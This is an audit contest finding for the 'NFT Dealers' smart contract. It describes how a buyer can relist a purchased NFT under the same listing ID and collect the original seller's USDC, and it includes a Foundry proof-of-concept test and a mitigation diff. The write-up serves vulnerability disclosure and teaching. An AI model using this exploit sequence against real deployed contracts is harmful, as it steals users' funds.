NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: high

[H-4] Users can get any NFT for free if the seller did not collect the payment fast enough

Author Revealed upon completion

Users can get any NFT for free if the seller did not collect the payment fast enough

Description

The listings IDs are always matching the token ID of the NFT for sale. For example, the NFT #5 will always be sold in the listing #5. This feature leads to an important complexity in some functions. When an NFT is sold through a listing, the payment is sitting inside the contract account. To collect this payment, the seller needs to call the collectUsdcFromSelling function. This function is supposed to check if the caller is the NFT seller through the modifier onlySeller(_listingId). If we look closely at this modifier's code, we can see a problem here:

modifier onlySeller(uint256 _listingId) {
@> require(s_listings[_listingId].seller == msg.sender, "Only seller can call this function");
_;
}

The modifier checks if the msg.sender is the seller of the listing. But the listing is now inactive and completely obsolete as it has been filled by the buyer. The latter now has full control of the listing and can become the new seller by calling list on the listing/token ID. If the seller did not collect his payment before the buyer lists the NFT back, the buyer will be able to collect the total amount of USDC that he previously paid, resulting in a free NFT for him and permanently lost funds for the seller.

Risk

Likelihood:

  • This will occur whenever the contract's USDC balance is not zero

  • This will occur after every NFT sale

Impact:

  • Sellers will lose their payments and collateral

  • Buyers can get NFTs for free

  • Buyers can steal sellers' collateral

Proof of Concept

Actors:

  • Seller: A normal user minting an NFT and selling it

  • Attacker: A malicious user stealing the NFT from Seller

Proof of Code:

function testAttackerCanStealNftFromSeller() public {
// Attacker and seller have to be whitelisted and the collection revealed
vm.startPrank(owner);
nftDealers.whitelistWallet(attacker);
nftDealers.whitelistWallet(seller);
nftDealers.revealCollection();
vm.stopPrank();
​
// Seller mints and lists an NFT
uint256 tokenId = 1;
uint32 tokenPrice = 1000e6;
vm.startPrank(seller);
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft();
nftDealers.list(tokenId, uint32(tokenPrice));
vm.stopPrank();
​
// Attacker buys the NFT and instantly list it back
uint256 attackerUsdcBalanceBefore = usdc.balanceOf(attacker);
vm.startPrank(attacker);
usdc.approve(address(nftDealers), tokenPrice);
nftDealers.buy(tokenId);
nftDealers.list(tokenId, uint32(tokenPrice));
vm.stopPrank();
​
// Seller can no longer collect the payment
vm.startPrank(seller);
vm.expectRevert("Only seller can call this function");
nftDealers.collectUsdcFromSelling(tokenId);
vm.stopPrank();
​
// Attacker can cancel the listing to set the listing as inactive, and then collect the payment
vm.startPrank(attacker);
nftDealers.cancelListing(tokenId);
nftDealers.collectUsdcFromSelling(tokenId);
vm.stopPrank();
​
// Attacker has stolen the NFT and the seller's collateral
vm.assertEq(nftDealers.ownerOf(tokenId), attacker);
vm.assertGt(usdc.balanceOf(attacker), attackerUsdcBalanceBefore);
}

Recommended Mitigation

Listings should have a different indexation than NFTs, but it would imply to change the structure of the code.

A better solution would be to send the payment directly to the seller instead of letting funds sit in the contract account. Make sure to respect CEI to avoid reentrancy vulnerabilities:

function buy(uint256 _listingId) external payable {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller != msg.sender, "Seller cannot buy their own NFT");
​
activeListingsCounter--;
​
- bool success = usdc.transferFrom(msg.sender, address(this), listing.price);
- require(success, "USDC transfer failed");
_safeTransfer(listing.seller, msg.sender, listing.tokenId, "");
​
s_listings[_listingId].isActive = false;
+ bool success = usdc.transferFrom(msg.sender, listing.seller, listing.price);
+ require(success, "USDC transfer failed");
​
emit NFT_Dealers_Sold(msg.sender, listing.price);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!